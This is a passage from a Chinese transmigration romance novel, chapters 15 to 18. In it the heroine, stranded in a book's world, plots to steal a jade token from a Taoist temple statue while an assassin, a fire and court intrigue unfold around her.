她身着浅紫色衣裙,头上的钗饰只有少数几根,未施粉黛的脸上还能看见她细细的绒毛。
祝星序从这样的女子身上,看到了明晃晃的两个大字。
女主。
她笑意盈盈地问祝星序:“我想请问,你有没有见到观主?”
祝星序摇头。
女子有些失落,但很快收拾好心情,对她道了声谢便走远了。
那女主在的话,三皇子也在咯?
忽然,祝星序有一种不详的预感。
15. 第 15 章
在原著中,有这么一件事。
太子党被狠狠打击,男女主的感情迅速加深。
而可怜的裴榭,在这次事件中,受了伤。
祝星序拼命想着,终于想起来了一点。
地点好像就是镇国观……
是什么事呢……
她想不起来了。
又想了一会儿,想得头有点隐隐作痛。
祝星序决定放过自己的脑子,顺其自然。
好像这次的事情除了裴榭受伤外,没有任何其他伤亡。
……太惨了。
她如果到时在场,就去救一下他。
尔后,祝星序又想到另一件事。
如果趁混乱时,将那枚朱雀玉牌拿走……
想到这里,祝星序的心脏砰砰直跳。
谁能想到,堂堂户部尚书的女儿,能去偷道观里的东西?
混乱时,总是会有一些东西损坏或者不见,对吗?
这里又不是现代,没有监控,谁能发现呢?
越想越觉得可行。
不过,趁现在那件事还没开始,她得好好想想,怎么爬上去拿。
她起身往三清殿走。
裴榭已经不在原地了,许氏还在等她。
祝星序走过去,许氏的表情变得柔和许多。
“三皇子说了,他原谅你,你以后不要再闯祸了,知道吗?”
祝星序:“……知道了。”
不是,裴榭乱说些什么?
许氏又叮嘱了她一番,回房午睡去了。
祝星序又将目光转回三清殿。
半下午的时光,观里的人更多了。
观内院子里的香炉升起一股一股的烟,飘向空中,承载着凡人的愿望和期盼。
祝星序迈过三清殿的高门槛,踏了进去。
此时三清像前的蒲团已经跪满了人。
还有很多人正在排队等候。
祝星序装作散步一般往左边走,想去三清像的侧面看看。
左边是灵宝天尊,遮住了中间的元始天尊。
她想继续走,还没走到正后方,便被拦住了。
“这位善信,后方不得入内。”
祝星序只得往回走。
这次,她又尝试往右边,看看能不能到后面。
只是,祝星序奇怪的举动很快引起其他道士的注意。
他们见她又想往后面走,委婉地请她离开。
“殿内只欢迎虔诚敬拜之人,闲杂人等请离开。”
道士们目光灼灼地盯着祝星序,她只能离开。
白天人多,不好观察。
她决定今晚再来看看。
夜晚,夜深人静之时。
祝星序再三聆听着外面的动静,确认此时的镇国观没有其他声响之后,才开始做准备。
她没有黑色的衣服,只能在房内找了块黑布裹着。
接着她又将耳饰手环之类的卸下,放在枕头下面。
干坏事可不能戴这些。
叮叮咚咚的,把其他人吵醒了怎么办。
祝星序先是将门打开一条缝,再次仔细观察着情况。
门外只有夜风呼啸而过时树叶的沙沙声。
若是在以往,她会有点怕鬼。
但这是在道观,哪个鬼敢来?
祝星序悄悄走出,轻轻将门合上。
给她住的这间房所用木材和尺寸都是最好的。
关上门的时候没有声音,为祝星序的离开打下了良好的前提条件。
镇国观的灯没点几盏,建筑隐在黑暗里,看不真切。
她凭借白天的记忆,慢慢走到三清殿。
三清殿的正门已经关上,附近并没有道士。
祝星序上前看了看,门被一把大锁锁上了。
真是的……里面有什么东西可偷的?还用这么大一把锁。
试了一下,祝星序打不开。
她又往旁边走着,想看一下还有没有别的能进去的路。
走了一圈,所有的门和窗都是紧紧关上的。
祝星序有些生气了,气呼呼走到不远处的檐廊下思考对策。
如果晚上不能进去勘察地形,那白天就更进不去了。
到时候出现混乱时,她若不能快速将牌子拿下,肯定会被发现的。
想了半天,也没什么好主意。
祝星序盯着看的地方渐渐出现一道黑影。
她反应过来,赶紧将自己隐在旁边的树后面。
那人的身形渐渐清晰,看装束,像是某位住在观里的善信。
只是,那人长得有点丑。
宽额头,小眼睛,大鼻子。
和裴榭差远了。
那人也来到三清殿前的大门处,拿起锁看了看。
他也要进去吗?
不会是来抢她的朱雀玉牌吧?
祝星序屏住呼吸,目不转睛地盯着。
只见他从衣襟处拿出一把钥匙,稳稳地放进锁孔里,一扭,开锁的脆声响彻在这方院子。
就连祝星序都吓了一跳。
这么大声!简直像警报器一样。
那人似乎也被吓了一跳,慌张地东张西望。
果然,从另一个方向跑来几名道士。
“是何人在那?”
这里的道士估计每天都要锻炼身体,跑得飞快,一下就来到正门前。
那人将钥匙拔出,头也不回地逃跑。
道士们也看到了那一闪而过的身影,留一人重新锁好正门,其余人追了上去。
祝星序看得生气。
凭什么把钥匙拿走!凭什么又把锁锁上!
不过,今夜已不宜再进行行动。
祝星序只好快步走回厢房,迅速关上门,将身上披着的黑布藏起来。
她躺回床上,想着怎么让许氏再在这里住一晚。
结果第二天,还没等她去找许氏,镇国观就给封了。
原来昨日,太子妃也在镇国观留宿。
不知道是谁走漏的消息,昨夜就有人来刺杀太子妃。
幸好太子妃那段时间没睡,跑去外面看月亮了。
死的是她的贴身侍女。
等等……不是说没有人伤亡吗?
为什么死了个侍女?
祝星序疑惑的同时又感到有些害怕。
许氏也怕极了,想离开。
但,五皇子裴榭亲自出面宣布,刺客还在观里没有抓到,现在谁也不能进出。
太子得到这个消息,气势汹汹地过来,但一样被拦在观外。
裴桦站在观外的台阶上怒骂:“孤是太子!难道孤还会害太子妃不成?”
三皇子裴檐淡淡笑着,可那笑意却不达眼底。
“太子殿下,希望你不要为难我们。”
随后,他拿出圣旨。
“父皇说了,让我和五弟全权负责此事。”
裴桦冷笑一声:“那谁知道你和五弟是不是杀我夫人的凶手?”
裴檐自是有备而来。
“我们的嫌疑,已经在丞相和刑部尚书的监督排查下洗去了。大哥这么说,是想质疑丞相和尚书了?”
裴桦没料到他有这一手,冷哼一声,又使出苦肉计。
只见他眉峰一转,眼眶湿润,哀求着,俨然一副深爱夫人的样子。
“三弟,被刺杀的是孤的太子妃,你就让孤进去吧。孤很担心她。”
裴檐默默盯着他。
如果太子府没有两位侧妃和三位侍妾,他可能真的会相信。
“大哥,我们会尽快找出刺客,还大嫂的安全。”
见裴檐油盐不进,裴桦牙都要咬碎了。
但圣旨在他手上,继续纠缠下去,便是无视圣旨,蓄意违逆。
没办法,他只能往回走。
裴檐也转身进观。
因为出了刺客,观内又有贵
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女夫人,观主将大家全部集合在某处偏殿中。
“各位暂且在这里住下,为了安全,还是不要四处乱跑的好。”
观主永远都是那副笑眯眯的样子,说完,他便离开了。
偏殿很大,可以容纳许多人。
许氏也带着祝星序去找太子妃请安。
太子妃娇小,个头只到祝星序的肩膀。
年纪看上去和她差不多大。
她坐在主座上,倒是也没什么害怕的样子。
许氏行礼:“太子妃娘娘,妾携府中嫡长女祝星序前来请安。”
祝星序行礼。
太子妃睁着大眼睛看着她们:“起来吧。”
许氏和太子妃寒暄了几句,又把祝星序拉到旁边坐着。
后面还有其他人在等着给太子妃请安。
在她们身后的,竟是女主季迟影!
她府上的夫人带了两位女孩。
另一位好像也是原著中的人物,叫季清清。
看见她,祝星序便想起来了。
季清清是她的胞妹,是原著的女二。
原著中,季迟影因被人陷害,一直流落民间。
今年才被季家找回。
季清清本是府中的独女,忽然出现个胞姐,怎么都不愿意接受她。
前期,季清清和季迟影抢父母的宠爱,每月的份例;后期,就抢季迟影的男主,也就是三皇子。
在父母这一块,季家人确实更偏爱季清清。
但在三皇子这里,季迟影永远是最好的。
尽管如此,两人也虐心虐肺地直到快大结局才真正和好,季迟影当上了皇后。
对于这个事态,祝星序表示:看热闹。
她只需要好好找到其他四样东西回现代。
这边的人和事,她才不想多管。
想到找的东西,她又联想到那个腰牌……确实是个问题。
要从谁那里拿呢……
祝星序的脑海中浮现出了裴榭的身影。
他吗……感觉可以。
等到他后面死掉时,她直接上手拿不就好了?
有人问起来,就说不知道掉哪了。
太完美了。
祝星序差点为自己鼓起掌来。
不过那还很遥远,她还是想想怎么样才能拿到朱雀玉牌吧。
季家请完安,坐在不远处。
季清清一如既往和母亲撒着娇,一扭腰把季迟影挤开了。
季迟影也不生气,去别的地方坐着发呆。
祝星序收回视线。
这里这么多人,她晚上怎么溜出去呢?
祝星序看看门外,这座偏殿早已被刑部派来的衙役围住了,外面还时不时有御林军在巡逻。
就算侥幸出去,那这些御林军怎么办?
他们训练有佳,安排人手十分妥帖,一定会发现她的。
祝星序暂时不想待在偏殿,打算再去三清殿看看。
正要起身,许氏想拦她:“外面有刺客,还是不要出去为好。”
祝星序只好道:“就是因为有刺客,我才想去三清殿中祈祷能尽快抓到。”
她努力装出一副信徒的样子。
许氏皱眉,看了看外面。
反正这里有衙役还有御林军,想来不会有什么事。
“那你去吧。”
不是她的女儿,她没必要和她作对。
出门的时候,祝星序又费了一番口舌,偷偷塞银子给门口的衙役,这才把她放出去。
出去之后,她也没敢闲逛,直接进了三清殿。
此时的三清殿不似昨日那样人多,安安静静的。
她假装跪下,实则在探查周围的环境,看看有没有地方可以给她爬上去。
为了能留更久,她拜了又拜,足足磕了十个头。
一道熟悉的低沉声音自身后响起。
“真看不出来,祝小姐竟如此虔诚。”
16. 第 16 章
正在专心看布局的祝星序吓得身子一抖。
她回头,见到是裴榭,才舒了一口气。
“你把我吓死。”
裴榭走近了,并没有闻到水果的香气。
祝星序昨晚在观里并不能沐浴时吃水果。
“怎么出来了?现在外面很危险。”
裴榭也跪在她旁边的蒲团上,目视着三清。
祝星序有些心虚道:“嗯……待不住,不如出来祈祷祈祷。”
裴榭:“原来如此,祝小姐还真是心诚。”
他并没有转头。
祝星序假装没听见,也跟着他一起看三清像。
元始天尊的整座像,外壳都是由光滑的油涂成的。
她从来没爬过树,更别说这样的金身了。
踩在桌子上也不现实,元始天尊的手在很高的地方。
就算上去拿到了,下来也是个问题。
祝星序忽然有些后悔,没有找什么江湖人学一学轻功。
这样她就能用轻功一瞬间登上去。
要不……先下山?等练好了轻功再来?
也不知道要练多久。
许氏最近看她的目光总是暗沉沉的,不会是在想把她嫁到哪里吧?
祝星序一边盯着元始天尊手中的朱雀玉牌,一边胡思乱想着。
裴榭注意到她的目光,朝上看去。
“你想要那个?”
祝星序回过神来,犹豫了半晌,点点头。
他会有办法吗?
裴榭皱眉:“怎么你每次都要一些奇怪的东西?”
祝星序干笑了两声。
好像确实……
裴榭告诉她,这是前朝的圣品。
祝星序目瞪口呆。
裴榭看了她一眼:“传说,能得到它的人,会得到至高无上的智慧。”
嗯……有一种脑X金的感觉。
祝星序问:“那为什么放这呢?”
裴榭:“只有放这,那些想要它的人才不敢来取。”
祝星序皱眉。
“这里的道士,都是有功夫在身的……”他顿了顿,“难以接近。”
看他的表情,似乎不止有功夫在身这么简单。
祝星序心一凉。
这个意思是,就算她练成了轻功,也拿不了?
要不再练下长跑?
轻功+长跑,直接像飞机一样飞走了。
她知道她在胡思乱想,但还是难掩心中的失落。
裴榭见她情绪不高,也沉默着。
这个东西,不是谁都能拿的。
相顾无言了一会,祝星序起身离开。
“我走了,下次见。”
裴榭没说话,也站起身。
他忽然想到昨日,祝星序在许氏面前乖巧向她行礼的模样。
看来,她真实的一面,只有他看见了。
祝星序魂不守舍地回到偏殿。
贵女和夫人们已经开始三三两两坐着聊天。
许氏也不例外,正在跟一个祝星序不认识的夫人讲着话。
只是,贵女们分为两个很奇怪的阵营。
一个以季清清为首,她身边坐着好几个人。
另一边是季迟影,只有她一人。
季清清看见祝星序,忙向她招手。
祝星序一点也不想和这个原著女二来往。
她选择无视,走到另一边没人的榻上坐着。
原著里面,季清清可给季迟影使了不少绊子。
包括但不限于孤立她,陷害她,还在三皇子面前装可怜。
三皇子每次都能被骗到,跟个蠢猪似的。
季清清见她不识抬举,冷哼一声,继续和身边的人聊天。
祝星序坐在位置上想解决的办法。
季迟影原本被季清清孤立有些不好受,她看祝星序并没有和其他人一样过去,想了想,还是决定坐在祝星序旁边。
祝星序并没有发现她坐了过来。
季迟影缓缓坐下,开口道:“上次我们见过的。”
她坐过来,祝星序也不意外。
这座偏殿里,季迟影除了坐回原位,只能来她这里了。
“对,我记得。”
祝星序对她还是有点怜爱的。
原著是古早言情小说,信奉虐虐更健康的主旨。
祝星序大学时躲在被子里看,哭得上气不接下气。
只是后来想想,好像也没到那个程度。
她是社畜,她才该哭。
季迟影笑了笑,开始继续和她搭话。
“你是户部尚书家的小姐?”
祝星序点点头。
季迟影看着她,有些落寞。
“真好……你可以一直在父母身边长大。”
看着季迟影这样的表情,祝星序有些心疼她。
祝星序告诉季迟影:“我生母在我出生时就去世了。”
季迟影有些惊讶,她看了看许氏,又看了看她,发现确实长得不太像。
“对不起……我不知道……”
祝星序摇头:“没关系,我根本就不记得。”
这是事实。
两人沉默,不知道该说些什么。
季迟影又开口:“你认识三皇子殿下吗?”
这次声音很轻,只有她们两个才能听见。
祝星序只想到那次船舫上见到的那道身影。
“不认识。”
五皇子她倒挺熟。
可惜季迟影没问五皇子,祝星序又继续想事情。
旁边的季清清见到季迟影有人陪,很不满。
“祝星序,过来。”
祝星序皱着眉看过去。
季清清许是在家跋扈惯了,见祝星序迟迟不动,有些生气。
“过来呀祝星序。”
季迟影抓住了祝星序的手,目露哀求。
她很想有个人能陪着她。
祝星序也如她所愿那般,摆手:“不去。”
季迟影眼睛亮了亮。
季清清就很不开心了,声音高了些:“再给你最后一次机会,祝星序,过来。”
祝星序翻了个白眼。
她脑子是不是有什么问题?
季家老爷是工部尚书,和祝明礼是一个级别的,她也能来命令她?
就算祝星序不和季迟影一起,她也不会去季清清那。
凭季清清在原著中干过的事,祝星序也不知道季清清会不会突然害她。
季清清看了她半晌,见她没有过来的意思,冷笑:“行,你等着吧。”
祝星序默默骂了两个字,便倒茶水自己喝了,还问季迟影要不要。
*
夜深了,祝星序的心又蠢蠢欲动。
昨天见到的那个人会再去吗?
他会不会就是那个杀人凶手?
她翻来覆去的,有些睡不着。
睡在她旁边的季迟影也是,脑中一直有个身影挥之不去。
她听到祝星序的声音,小声问她:“要不要去更衣?”
正好睡不着,祝星序坐起来:“走吧。”
上厕所的地方离这里不远,和门口的守卫说明了一下,两人便朝那边走。
镇国观的厕所可不是茅厕,而是专门有一间屋子。
季迟影上完之后轮到祝星序。
祝星序结束正想出去,却在准备推开门出去时听到另一个声音。
“又见面了。”
好像是三皇子的声音。
季迟影好像有些害羞,低下头说了些什么。
声音太小,祝
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星序没听见。
她只好在房内等一会。
如果擅自打扰原著的男女主发展剧情,可能会有很严重的后果。
哎呀,早知道这样就不跟季迟影靠太近了……
等了一会,门外的两人似乎越聊越投入。
祝星序快气死了。
在厕所门口聊什么聊!
她可不想一直在茅房里待着。
她深吸一口气,准备直接打扰。
就在她将手摸上门的瞬间,一只手捂住了她的口鼻。
那只手的手心有汗,一股味传来,差点把祝星序闷晕。
那人拖着祝星序就往茅房角落走。
祝星序拼命挣扎,随手抓起兜里的迷药往那人脸上扔。
是的,裴榭给她的药,她没还回去,而是自己留下了。
果然很有用!
那人停下了,手也从她的口鼻上挪开。
祝星序想跑,但还是被他抓着了。
那个人戴了面罩,此时正瞪着祝星序。
完了……
不光没把他放倒,还惹怒了他。
季迟影和三皇子还在外面,她打算叫给他们听。
只是还没张嘴就又被捂上了,祝星序只能发出呜呜呜的声音。
外面那两人只顾着谈恋爱,并没有听到。
祝星序挣扎得更厉害了。
那人在她耳边道:“我并不想要你的命,你给我安静点!”
祝星序这才不动了。
不是因为这句话不动,而是她好像触碰到了那人腰间的刀柄。
她得把命留着,才能回家。
见祝星序不动弹了,那人放心了些,但还是继续捂着她的口鼻。
外面的三皇子终于离开了,季迟影发现祝星序还没出来,便小声催促:“星序,你还没好吗?”
那人把手挪开,抽出匕首,抵在祝星序的后背。
祝星序只好道:“我……我肚子疼,你先回去吧,我还要一会。”
季迟影有些担忧:“没事吧?我这里有一些药,要不你拿去吃?”
她想进来。
那人的刀又深了几分。
祝星序吓得后背发凉,忙道:“没事,我上完就好了,你先回去。”
季迟影似乎不太想一个人回去:“我在这里等你吧。你好了出来就行。”
祝星序有点感动了,在没有三皇子的前提下,朋友还是最重要的。
“不用不用,我还不知道要多久呢,你先回去。”
她已经说了三次让季迟影先回去,季迟影皱皱眉,还是决定先离开。
“好的,那你快点上哦,刺客还没抓到呢。”
说完,她越走越远。
嘴上说着让她走,其实心里很期望季迟影能带着御林军破门而入的祝星序想流泪了。
真倒霉啊。
季迟影远去了,那人还是没有将匕首放下来。
他看到祝星序脚边的迷药,冷哼一声,一脚踩碎,又踢了几下。
祝星序悲伤地看着这一幕,
下次再找裴榭要一点好了。
那人一只手用匕首抵住她的背,另一只手掐着她的胳膊,一点一点移出恭房。
祝星序先出。
一出门,迎面便撞到正带着人巡逻的裴榭。
祝星序的眼泪差点飚出来。
但身后那人匕首的冰凉让她打了个寒战。
裴榭看见她,走上前来。
“你怎么在这?”
祝星序:“我……出恭。”
裴榭看她的样子应该是结束了,便道:“那走吧,我送你回去。晚上很危险。”
祝星序多么想答应啊。
但她不行。
“我突然肚子又有点痛……再上一下。”
17. 第 17 章
祝星序啪地一声又把门关上,只留下门口站着的裴榭。
“那我在外面等你。”
面罩人冷哼了一声,小声道:“你和这么多人关系好?个个都要等你。”
门外裴榭的眉毛动了动。
祝星序苦笑了一下。
这可怎么办……只能一直蹲里面了吗。
虽然恭房被观里的坤道打扫得很干净了,但隐隐还是有些味道的。
祝星序一直挺着躲避匕首的腰僵了。
她微微弯了一下。
“别动!”
那人以为她在耍花招。
祝星序苦着脸:“大哥我没动啊……我就是有点累。”
他似乎更加不满。
“你们千金小姐就是麻烦。”
是是是,她麻烦,既然嫌麻烦就把她给放了不好吗。
或许是过了太久,裴榭敲了敲门。
“你好了吗?”
祝星序道:“还没……肚子很痛。”
她又拿了搪塞季迟影的话。
但裴榭没季迟影那么好糊弄。
“你先出来,我带你去找大夫看看。”
即使看不到,祝星序也能感受到那人恶狠狠的目光。
祝星序:“没事的,你先走吧,我上好了就不痛了。”
她不想让裴榭走。
裴榭在,她比较有安全感。
但她又想让裴榭离开。
这样她就不用待在这里了。
裴榭沉思了一会道:“好,那我先带人去别的地方看看。有不舒服再来找我。”
说罢,他便带着人离开了。
门上影影幢幢的倒影渐渐消失,那人依旧让祝星序先出门。
祝星序出门之后,外面确实没了人影。
只是草丛隐隐有些银光发出。
她眼尖地发现了。
那人问:“怎么样?”
祝星序:“没人。”
那人没料到祝星序会骗他,放心地整个人从恭房出来。
待两人走了一段路,草丛里射出一只冷箭。
冷箭直直射向威胁祝星序的那人。
为了躲避冷箭,他不由地把祝星序撒开。
其余御林军见他已经放开人质,纷纷冲上去,想将他一举拿下。
只是,那人的轻功着实了得,一点一跳,从恭房的屋顶逃走了。
御林军们分出一批去追,另一批人留下。
祝星序赶紧连滚带爬地闪到一边,差点崴了脚。
裴榭手疾眼快地抱住了她。
一瞬间,清冷的白檀香从祝星序的周遭蔓延开来。
闻到裴榭的味道,祝星序的眼角泛起泪花。
“唔……裴榭。”
裴榭见她一副可怜兮兮的样子,问:“受伤了吗?”
将她好好放在地上,裴榭打量着她的身上是否有伤口。
祝星序摇摇头。
“就是他拿匕首把我的衣服划破了。”
她转过身给他看。
裴榭果然见她水蓝色的衣服上有一处小小的裂口。
祝星序动了动,他看见了裂口里的白色里衣。
他立刻将视线移开:“一会我让人拿套衣服给你换。”
祝星序点头。
不一会,那批去追人的御林军回来了。
“殿下。人……跑了。”
裴榭的脸瞬间冷了下来。
“跑了?”
御林军领头一人上前跪下道:“那人的轻功了得……从屋顶和树上跑的。”
裴榭紧紧闭了闭眼:“加强巡逻。我不希望下次还有这种事。”
御林军齐声喊:“是!”之后便纷纷组成列队,按照原来的计划巡逻。
裴榭则陪着祝星序回去。
他的心情似乎不太好,夜间本就偏低的气温此时更加冰冷。
祝星序也不敢跟他说话。
裴榭这样的人,心情好的时候看上去很好说话。
但心情差的时候,就会有一种阴森森的感觉。
两人沉默着走去偏殿。
裴榭突然道:“你跟尚书夫人说,你弄坏了我的东西,还说我让你不要出现在我面前?”
祝星序听到他突然提起这个,十分尴尬。
他们早上在三清殿里说话时,裴榭没说这件事,祝星序还以为他忘记了。
她装傻:“有吗?没有吧。”
裴榭也不拆穿,只道:“以后再有这种事情,记得和我说一声。不然我怕露馅。”
祝星序停下脚步,眨了眨眼。
“……好”
想到她那个被人一脚踩碎的迷药,祝星序又找裴榭要。
“我那个药被他弄碎了,你可以再给我一瓶吗?”
裴榭不置可否,拿出一小瓶新的给她。
祝星序欢喜接过。
他们走到距离偏殿不远处的树下。
裴榭站定:“你去吧。”
祝星序问:“怎么不送到门口呢?”
她现在草木皆兵,怕得要命。
裴榭背着手:“你不是不想让其他人看见我跟你在一起吗?”
祝星序一脸震惊:“啊?我何时这么想了?”
她发誓,她从来都没有这种想法。
裴榭却不说话,似笑非笑地看着她。
她瞬间明白了。
“我母亲的事……那是因为上次她看到我从你的马车上下来,逮着我问东问西的。”
祝星序抱怨开,希望裴榭能理解。
但裴榭不能,他依旧盯着她,缓缓道:“所以你就把我说成一个心胸狭窄之人。”
祝星序急了:“不是不是!她还向我打听三皇子殿下呢,想把我妹妹嫁给你三哥!你看看多吓人。”
裴榭:“有何不可?三哥现在尚无婚配,若是他喜欢你妹妹呢?你这岂不是棒打鸳鸯?”
祝星序:“……”
她要怎么说季迟影才是三皇子的真命天女呢?
如果她说了,裴榭肯定又会追问她为什么知道。
虽然她不像其他穿书人一样有系统,但透露给书中人他只是一本小说里一个角色的事情,会遭天谴吧?
等下裴榭就给她送到大牢里,说她妖言惑众,和李栋当狱友。
虽然李栋死了……
裴榭凝视着她,想看看她会怎么回答。
她拼命想,才想到一个理由:“我是不想利用你去达成别人的目的。”
裴榭无动于衷。
祝星序也不甘示弱地看回去。
她也在说服自己相信这个说辞。
只有她自己信了,别人才会信。
半晌,裴榭的视线才从她身上移开。
祝星序默默舒了口气。
“知道了。”
祝星序又不明白了。
裴榭抬脚往偏殿门口走。
祝星序见状,赶紧跟了上去。
行至门口,考虑到里面的女豢都歇下了,裴榭没有说话,只用眼神示意祝星序进去。
祝星序推开门,轻轻和他道:“谢谢。”便快速进了屋,将门关上。
裴榭走远了一些,又盯了偏殿几息,才转身离去。
*
祝星序回到屋里原来的地方躺下。
季迟影一直睡不着,担心着祝星序。
她来了,季迟影才轻声问:“怎么那么久?要不要去看看大夫?”
祝星序:“没事了,现在好了。”
她不会和季迟影说她给威胁的事。
多尴尬呀。
去个茅房都给人抓。
季迟影这才放心下
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来,沉沉睡去。
祝星序也闭上眼睛。
今天真是惊险,光是害怕就耗尽了她所有力气。
睡得迷迷糊糊时,祝星序隐约想起,这一段好像是男女主的剧情。
季迟影被抓了,然后三皇子出现,救了她。
祝星序吓出一身冷汗。
不会吧……
可事实是,是季迟影叫她出去的,在恭房,季迟影也遇到了三皇子。
如果没有这种事,只纯聊天,感情进展得不会有那么快。
慌了一会,祝星序又慢慢淡定下来。
原著中那么多情节呢,男女主这输入情侣名字发短信都能获得匹配度百分百的姻缘,应该没那么容易黄。
好的,那她先睡了。
隔天起来,也不知道是谁泄露的风声,偏殿里都在说着昨晚刺客又出现了。
只是万幸,没有人员伤亡。
祝星序在心中呐喊,她的衣服受伤了!
许氏皱着眉:“这刺客还不抓到,那我们何时才能下山呢。”
其他夫人也点头称是。
气氛又陷入沉重。
过了一会,也不知道是哪位夫人说的,反正等得也无聊,不如来玩叶子牌。
其余夫人也纷纷赞同。
于是,大家就在偏殿打了叶子牌。
季清清带着几位贵女玩投壶。
祝星序对这些都不感兴趣,只坐在原地继续发呆想事情。
季迟影倒是有些渴望,频频朝两边看去。
她推了推祝星序:“你想玩吗?”
祝星序摇头:“不想。”
她还有大事要思考呢。
季迟影咬咬唇,决定也不玩了,找道士们借了道德经来看。
这么吵吵嚷嚷的,也过了快一整个白天。
傍晚时,日薄西山,祝星序盯着窗外的火烧云发呆。
那火烧云红得透彻,似乎也要将远处的屋顶和树叶都染上它的颜色。
渐渐地,火烧云离她更近了。
祝星序感到有些热。
眼前四处都有些红红的。
外面的道士喊了一声:“走水了!”
偏殿顿时嘈杂起来。
众人都纷纷往外逃着。
祝星序也和季迟影站起身,跟随众人。
镇国观的火势很大,一连几片房屋都烧了起来。
偏殿的楼顶也跳上几个火星子,有变大的趋势。
众人在道士们的指引下撤离。
“快快!”
但是再快,她们终究都是天天待在家里,很少运动的人。
是以速度并不快。
刚刚大家争先恐后地离开偏殿时,她被抛弃在后面。
此时也理所当然地在队伍末端。
路过三清殿时,祝星序敏锐地看到,三清殿的大门是敞开着的!
里面四处散落着椅子桌子什么的。
竟形成了一条由家具组成的畸形楼梯。
祝星序原本按捺下去的心又开始狂跳起来。
她又看了看四周,道士们都在忙着撤离夫人和贵女,无暇顾忌她这个队伍尾端的人。
他们也不会想到,都起火了,还有人会留在这里吧。
况且,远处的火还没那么快烧到三清殿。
她可以快速进去,爬到上面拿走朱雀玉牌,再下来,跑出镇国观。
非常好!
她的脚步慢下来,直到和队伍拉开距离。
趁道士们不注意,她发了疯似的跑向三清殿。
跑进殿内,来不及喘气,她将大开的门阖上,但还是留了条缝。
若是全合上,就太明显了。
祝星序转身,看着元始天尊手中的玉牌,心脏砰砰跳。
玉牌啊玉牌,姐姐这就来救你!
18. 第 18 章
祝星序小心翼翼地攀上最矮的那个木柜。
再谨慎地一步步踏上去。
每上一步,她的心就愉悦几分。
每离玉牌越近,她脸上的笑容就扩大一分。
终于,她站到了最高的位置。
祝星序伸手,却还是差了一点。
她努力踮起脚尖,去够元始天尊的手。
还差一点……
祝星序低头看了看站着的这个百宝架。
算了……还是不要跳了。
如果塌了她就摔残了。
祝星序只能一点一点往元始天尊像那边挪。
还差几毫分时,一道人影闪过,轻而易举地拿走了玉牌。
祝星序被这变故惊到,生气了。
“谁啊!”
她好不容易上来的!
祝星序转头一看,那人正坐在另一边道德天尊的胳膊上看着她笑出了声。
“我当是谁不要命了,走水了都不跑,原来是你啊。”
是昨晚威胁她的那个面罩人!
面罩人此时还戴着面罩,衣服也还是那身黑衣。
现在有光,她看见他的黑衣上,有着斑驳的更为深色的痕迹。
应该是血。
想来没少给御林军追杀。
祝星序冷眼看着他,不暴露自己对玉牌的渴望。
面罩人不满:“看我作甚?你不是很想要这个吗?”
玉牌在他手中翻来覆去,一会被他抛至空中,一会又掉在他手心。
给祝星序气得咬牙切齿。
不行,她不能中了他的奸计。
祝星序装作不在意地慢慢从高处下去。
面罩人见她下来,也跟着一跳,到了地面。
祝星序一直在观察他。
看他上去下来都如此快速利索,她又想学轻功了……
“我们做个交易,你答应了,我就把这个东西给你。”
面罩人挑眉看她。
这是羊入虎口。
若答应了他这一个交易,谁知道还有没有下一个交易呢?
就算这个交易很简单,她完成了,他还不是可以说不给就不给?
他们又不认识,祝星序哪知道他是什么样的人。
但她还是很没出息地问:“什么交易?”
面罩人似乎笑了,眉眼都弯起来。
“等火灭了,你就把我带到你的房间,我要养伤。”
嗯?
他怎么知道火会灭?
而且,她们不是都住偏殿吗?
祝星序一脸困惑。
面罩人自然也看到了,只道:“你答应便是。”
不管了,应下再说
祝星序点头:“行,我答应你,给我。”伸手便要去拿。
玉牌在祝星序的指尖转了转,又被面罩人收回在衣襟里。
“等我伤养好了,自然会给你。”
祝星序深吸一口气,忍住内心想将他打一遍的冲动。
“好,行。”
她从齿尖碾出这两个字。
面罩人拿出一把刀,又在指尖飞舞。
“你要是敢透露出去半个字,这里死的人,可就不止那个侍女一个了。”
祝星序吞了吞口水。
三清殿外,忽然传来季迟影的声音。
“星序……你在里面吗?”
面罩人笑笑,走到三清像后面消失了,临走前还道:“我会去找你的。”
季迟影推开门,看到祝星序,也有些高兴。
“我在外面听到里面有动静,还想着是不是你呢。”
她走过来拉着祝星序的手。
祝星序看看她的身后,没有其他人。
“你不是跟其他人一起吗?怎么一个人在这。”
季迟影的眉间闪过一丝烦闷。
“是我那胞妹……趁别人不注意时,把我推到水池里了。她们走得又快,一下就不见了。”
祝星序低头看。
季迟影的裙摆和鞋子果然有些湿了。
她往旁边看了一下,走去拿起一块干布,蹲下给季迟影擦裙子和鞋子。
既然那人说了,火会灭,那估计烧不到这里。
冷静下来想想,祝星序敢肯定,这火就是那人放的。
季迟影见她这样,有些诧异。
“星序……你不用这样的。”
祝星序摇摇头:“都是小事。你把鞋脱下来吧,晾晾干,不然会害风寒。”
季迟影点头,找到一个能坐的地方,把鞋袜都脱了。
祝星序帮她把鞋袜晾起来。
她就是心软……
原本看书时,她就对季迟影这个女主心生怜爱。
曾经不止一次想过,要是季迟影不和三皇子在一起就好了。
现下见到真人,有血有肉,活泼灵动。
祝星序内心对她的偏爱又深了几分。
季迟影原本是正常地端坐着,她时刻谨记在季府受到的贵女教育。
但门并没有关实,风簌簌吹进来。
她犹豫了一下,盘腿坐着。
季迟影脸有些微红。
“星序……我这样,会不会不太大家闺秀?”
她对于前十几年都在民间生活的经历耿耿于怀。
回府后,季清清又一直私底下用这个事情来打压她。
季迟影是一边哭着,一边学规矩的。
祝星看了一眼,便把两条腿打开,抖着。
“那我这样,岂不是更不大家闺秀?”
季迟影见她抖着腿,一副吊儿郎当的样子,轻笑出声。
“星序,我感觉……你和其他人很不一样。”
祝星序看着她:“哪里不一样?”
季迟影低头想了想后道:“就是……感觉不那么看重名节,好像许多事都随心去做。”
那是因为祝星序不想成亲……
所以巴不得自己的名声变差呢。
不过许氏也是挺好玩的。
一方面想自己的声誉差些,又怕影响到祝若怡和祝灿儿。对她做的许多事都是要管不管的,看许氏纠结的模样,她有些开心。
祝星序:“是吗……或许别人也只是表面上那样,私下也有各自的性格。”
季迟影的目光看向远处,有些迷茫,似乎是想起了什么。
祝星序问:“你和那个三皇子……”
季迟影的脸开始泛红。
“我和他没什么……”
她还没说什么呢!季迟影就这样了?
虽然知道自己这么做很招打,但祝星序还是鼓起勇气:“三皇子并非良人……”
说完,她就闭上眼睛,把头扭到一边去,不敢看季迟影。
挑拨女主和男主,她胆子真的是太大了。
祝星序的话确实让季迟影有些出乎意料。
她愣怔了一下,问:“你和三皇子认识?”
祝星序摇头:“我认识五皇子……”
又开始不知不觉拿裴榭当挡箭牌了。
